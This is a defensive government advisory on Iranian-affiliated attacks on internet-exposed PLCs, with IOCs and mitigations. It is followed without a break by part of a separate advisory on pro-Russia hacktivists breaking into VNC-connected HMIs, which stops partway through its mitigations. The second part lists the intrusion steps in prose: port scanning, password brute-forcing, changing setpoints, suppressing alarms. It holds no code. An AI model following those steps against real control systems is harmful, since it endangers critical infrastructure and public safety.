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Advisory at a Glance

Title	Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Original Publication	April 7, 2026
Executive Summary	Iran-affiliated advanced persistent threat (APT) actors are conducting exploitation activity targeting internet-facing operational technology (OT) devices, including programmable logic controllers (PLCs) manufactured by Rockwell Automation/Allen-Bradley. This activity has led to PLC disruptions across several U.S. critical infrastructure sectors through malicious interactions with the project file and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.  U.S. organizations should urgently review the tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the Mitigations section of this advisory to reduce the risk of compromise.
Affected Products	Rockwell Automation/Allen-Bradley manufactured PLCs Potentially other branded PLCs
Key Actions	Remove PLCs from direct internet exposure via secure gateway and firewall. Query available logs for the provided IOCs in the corresponding time frames. Check available logs for suspicious traffic on the ports associated with OT devices, including 44818, 2222, 102, and 502, especially traffic originating from overseas hosting providers. For Rockwell Automation devices, place the physical mode switch on the controller into run position. Contact the authoring agencies and Rockwell Automation for guidance if you believe your organization was targeted.
Indicators of Compromise	For a downloadable copy of IOCs, see: AA26-097A STIX XML (35KB) AA26-097A STIX JSON (12 KB)
Intended Audience	Organizations: Critical Infrastructure Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy  Roles: Defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer

Introduction

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), and United States Cyber Command – Cyber National Mission Force (CNMF), hereafter referred to as the “authoring agencies,” are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected operational technology (OT) devices, including Rockwell Automation/Allen-Bradley-manufactured programmable logic controllers (PLCs), across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with the project files¹ and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity has resulted in operational disruption and financial loss. 

Due to the widespread use of these PLCs and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the Mitigations section to reduce the risk of compromise.

The authoring agencies assess a group of Iranian-affiliated advanced persistent threat (APT) actors is conducting this activity to cause disruptive effects within the United States. The group has targeted devices spanning multiple U.S. critical infrastructure sectors, including Government Services and Facilities (to include local municipalities), Water and Wastewater Systems (WWS), and Energy Sectors. The authoring agencies previously reported on similar activity targeting PLCs by CyberAv3ngers (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC). 

If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see Contact Information) to receive support, mitigation, and investigation assistance, and engage your cyber incident response plans.

In addition to contacting the authoring agencies, organizations with Rockwell Automation/Allen-Bradley-manufactured PLCs should review the manufacturer’s previously issued guidance to strengthen the security of their operational technology deployments: PN1550 | CVE-2021-22681: Authentication Bypass Vulnerability Found in Logix Controllers, published in 2021, and SD1771 | Rockwell Automation Reiterates Customer Guidance to Disconnect Devices from the Internet and Harden PLCs to Protect from Cyber Threats, published in 2026. Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at PSIRT@rockwellautomation.com for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.

For more information on Iranian malicious cyber activity, see CISA’s Iran Threat Overview and Advisories webpage and the FBI’s Iran Threat webpage.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

Background Information

Similar Historical Activity Targeting Programmable Logic Controllers

During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including WWS. For more information on this group’s activity, see the authoring agencies’ Joint Cybersecurity Advisory IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities.

Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers

The FBI assesses a group of Iranian-affiliated APT actors are targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. organizations have recently escalated, likely in response to hostilities between Iran, and the United States and Israel. 

Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT-group that disrupted the function of PLCs. These PLCs were deployed across multiple U.S. critical infrastructure sectors (including Government Services and Facilities, WWS, and Energy sectors) within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Initial Access

The authoring agencies observed Iranian-affiliated APT actors using several overseas-based IP addresses to access internet-facing Rockwell Automation/Allen-Bradley-manufactured PLCs [T0883]. The actors used leased, third-party hosted infrastructure with configuration software, such as Rockwell Automation’s Studio 5000 Logix Designer software, to create an accepted connection to the victim’s PLC. Targeted devices include CompactLogix and Micro850 PLC devices. 

Command and Control

Inbound malicious traffic may be directed to devices on any of following ports: 44818, 2222, 102, 22, or 502. The targeting of ports [T0885] associated with other OT vendors’ protocols suggests these actors may also be targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including the Siemens S7 PLC. Additionally, the actors deployed Dropbear Secure Shell (SSH) software on victim endpoints to enable them to gain remote access through port 22 [T1219].

Impact

The FBI identified that this activity resulted in the extraction of the device’s project file and data manipulation on HMI and SCADA displays [T1565].

Indicators of Compromise

See Table 1 for recent IP addresses used by the Iranian-affiliated APT actors to communicate with Rockwell Automation/Allen-Bradley-manufactured devices (and potentially other branded OT devices) in the United States.

Disclaimer: The FBI observed that the threat actors used the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Table 1. Indicators of Compromise

Indicator	Beginning of Actor Association	End of Actor Association
135.136.1[.]133	March 2026	March 2026
185.82.73[.]162	January 2025	March 2026
185.82.73[.]164	January 2025	March 2026
185.82.73[.]165	January 2025	March 2026
185.82.73[.]167	January 2025	March 2026
185.82.73[.]168	January 2025	March 2026
185.82.73[.]170	January 2025	March 2026
185.82.73[.]171	January 2025	March 2026

MITRE ATT&CK Tactics and Techniques

See Table 2 to Table 4 for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 2. Initial Access

Technique Title	ID	Use
Internet Accessible Device	T0883	The actors used Rockwell Automation’s programming software (such as Studio 5000 Logix Designer) to access and interact with publicly exposed, internet-accessible PLCs installed and deployed without sufficient network and/or hardening security controls.

Table 3. Impact

Technique Title	ID	Use
Stored Data Manipulation	T1565	The actors maliciously interacted with project files and altered data displayed on HMI and SCADA displays

Table 4. Command and Control

Technique Title	ID	Use
Commonly Used Port	T0885	The actors used commonly used OT ports to communicate with PLCs.
Remote Access Tools	T1219	The actors deployed Dropbear SSH software on victim endpoints to enable them to gain remote access through port 22.

Mitigations

The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals 2.0 (CPGs 2.0) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPG 2.0 webpage for more information on the CPGs, including additional recommended baseline protections.

Network Defenders

The cyber threat actors accessed Rockwell Automation/Allen-Bradley-manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.

In addition, organizations with these PLCs should view Rockwell Automation’s guidance: Rockwell Automation Reiterates Customer Guidance to Disconnect Devices from the Internet and Harden PLCs to Protect from Cyber Threats.

Immediate steps to prevent the attack:

• Disconnect the PLC from the public-facing internet [CPG 3.S]. Follow the joint guidance Secure connectivity principles for OT to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.
  • Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.
  • Enable logs for the connected modems to detect intrusion and improve incident response speed.
• For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell’s² System Security Design Guidelines for manufacturer’s instructions.)
• For devices that allow for software key switching, enable programming protection in PLC configuration software (S7 Totally Integrated Automation [TIA] Portal) to limit who can modify PLCs remotely. (See Siemens’ Cybersecurity for Industry Operational Guidelines for the manufacturer’s instructions.)
• Create and test strong backups of the logic and configurations of PLCs. Store backup files offline and secure the physical removal media to enable fast recovery.

Follow-up steps to strengthen security posture:

• Implement multifactor authentication (MFA) [CPG 3.F] for access to the OT network from an external network.
• If remote access is required, implement a network proxy, gateway, firewall, and/or virtual private network (VPN) in front of the PLC to control network access.
  • A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms that prevent the type of repeated and sustained login attempts that would be seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.
  • Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.
• Keep PLC devices updated with the latest software patches by the manufacturer. Use established downtime windows to install patches. Known Exploited Vulnerabilities may need to be prioritized outside a downtime window.
• Configure external and internal firewalls to block traffic using common ports associated with network protocols that are unnecessary for the particular network segment.
• Disable any unused authentication methods, logic, or features, such as default authentication keys, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.
• Monitor asset management systems for device configuration changes, which can be used to understand expected parameter settings.
• Monitor the content of network traffic for the following:
  • Unusual logins to internet-connected devices or unexpected protocols to/from the internet.
  • Functions of industrial control systems (ICS) management protocols that change an asset’s operating mode or modify programs.

In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:

• Reduce risk exposure. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s Cyber Hygiene Services can help provide additional review of organizations’ internet accessible assets. 

Device Manufacturers

Note: The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced in this product do not offer such security features.

Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products that are secure by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products, primarily:

• Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.
• Do not charge additional fees for basic security features needed to operate the product securely.
• Support MFA, including via phishing-resistant methods.

By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations. For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.

Validate Security Controls

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 2 to Table 4).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

• Authoring Agencies: IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities
• CISA: Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers
• EPA: Cybersecurity for the Water Sector
• CISA: Water and Wastewater Systems Sector
• CISA Alert: Exploitation of Unitronics PLCs used in Water and Wastewater Systems
• CISA: Iran Threat Overview and Advisories
• FBI: The Iran Threat
• CISA, MITRE: Best Practices for MITRE ATT&CK Mapping
• CISA: Decider Tool
• CISA: Cross-Sector Cybersecurity Performance Goals 2.0
• CISA: No-Cost Cybersecurity Services and Tools
• CISA: Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products
• NSA, CISA: NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations
• CISA: Secure by Design
• FBI: Primary Mitigations to Reduce Cyber Threats to Operational Technology
• United Kingdom National Cyber Security Center: Secure connectivity principles for operational technology (OT)

Contact Information

U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

• Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
• For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.
• Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact EnergySRMA@hq.doe.gov.
• Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation at PSIRT@rockwellautomation.com.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the authoring agencies.

Version History

April 7, 2026: Initial version.

Notes

¹Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.

² See CompactLogix 5370 Controllers (Chapter 5: "Select the Operating Mode of the Controller") for more information on functions available for the switch.

Summary

Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.

FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

• U.S. Department of Energy (DOE)
• U.S. Environmental Protection Agency (EPA)
• U.S. Department of Defense Cyber Crime Center (DC3)
• Europol European Cybercrime Centre (EC3)
• EUROJUST – European Union Agency for Criminal Justice Cooperation
• Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
• Canadian Centre for Cyber Security (Cyber Centre)
• Canadian Security Intelligence Service (CSIS)
• Czech Republic Military Intelligence (VZ)
• Czech Republic National Cyber and Information Security Agency (NÚKIB)
• Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
• French National Cybercrime Unit – Gendarmerie Nationale (UNC)
• French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
• German Federal Office for Information Security (BSI)
• Italian State Police (PS)
• Latvian State Police (VP)
• Lithuanian Criminal Police Bureau (LKPB)
• New Zealand National Cyber Security Centre (NCSC-NZ)
• Romanian National Police (PR)
• Spanish Civil Guard (GC)
• Spanish National Police (CNP)
• Swedish Polisen (SC3)
• United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.

The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.

Download the PDF version of this report:

Background and Development of Pro-Russia Hacktivist Groups

Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.

Cyber Army of Russia Reborn

The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.

In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.

CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.

In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.

The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.

NoName057(16)

The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.

Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. 

In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.

Z-Pentest

Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.

Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.

Sector16

Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.

Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

TTP Overview

Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.

Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.

Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.

Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

• Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
• Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
• Use VNC software to access hosts [T1021.005].
• Confirm connection to the vulnerable device [T0886].
• Brute force the password, if required [T1110.003].
• Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
• Log the confirmed vulnerable device IP address, port, and password.
• Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:
  • Modify usernames/passwords [T0892];
  • Modify parameters [T0836];
  • Modify device name [T0892];
  • Modify instrument settings [T0831];
  • Disable alarms [T0878];
  • Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
  • Device restart or shutdown [T0816].
• Disconnect from the device, ending the VNC connection.
• Research the compromised device company after the intrusion [T1591].

Propagation

To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.

Reconnaissance and Initial Access

The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.

Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.

Impact

While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.

Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.

MITRE ATT&CK Tactics and Techniques

See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 1. Reconnaissance

Technique Title	ID	Use
Gather Victim Organization Information	T1591	Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.
Active Scanning: Vulnerability Scanning	T1595.002	Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.

Table 2. Resource Development

Technique Title	ID	Use
Acquire Infrastructure: Virtual Private Server	T1583.003	Threat actors use virtual infrastructure to obfuscate identifiers.

Table 3. Initial Access

Technique Title	ID	Use
Internet Accessible Device	T0883	Threat actors gain access through less secure HMI devices exposed to the internet.

Table 4. Persistence

Technique Title	ID	Use
Valid Accounts	T0859	Threat actors use password guessing tools to access legitimate accounts on the HMI devices.

Table 5. Credential Access

Technique Title	ID	Use
Brute Force: Password Spraying	T1110.003	Threat actors use tools to rapidly guess common or simple passwords.

Table 6. Lateral Movement

Technique Title	ID	Use
Default Credentials	T0812	Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.
Remote Services	T0886	Threat actors leverage VNC services to access system HMI devices.
Remote Services: VNC	T1021.005	Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.

Table 7. Execution

Technique Title	ID	Use
Graphical User Interface	T0823	Threat actors interact with HMI devices via GUIs, attempting to modify control devices.

Table 8. Inhibit Response Function

Technique Title	ID	Use
Device Restart/Shutdown	T0816	While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.
Alarm Suppression	T0878	Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.
Change Credential	T0892	Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.

Table 9. Impair Process Control

Technique Title	ID	Use
Modify Parameter	T0836	Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.
Unauthorized Command Message	T0855	Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.

Table 10. Impact

Technique Title	ID	Use
Loss of Productivity and Revenue	T0828	Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.
Loss of View	T0829	Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely.
Manipulation of Control	T0831	Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.

Incident Response

If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

1. Determine which hosts were compromised and isolate them by quarantining or taking them offline.
2. Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
3. Reimage compromised hosts.
4. Provision new account credentials.
5. Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
6. Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations

OT Asset Owners and Operators

The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

